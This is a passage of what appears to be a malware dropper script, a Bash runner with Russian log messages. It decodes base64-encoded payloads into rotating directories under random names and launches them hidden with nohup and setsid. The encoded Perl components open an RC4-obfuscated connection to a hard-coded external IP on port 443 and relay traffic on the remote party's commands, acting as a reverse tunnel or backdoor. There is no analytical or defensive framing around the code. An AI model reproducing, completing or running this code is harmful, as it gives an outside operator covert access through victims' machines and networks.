IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #16 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #16 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 17 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNzQnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh 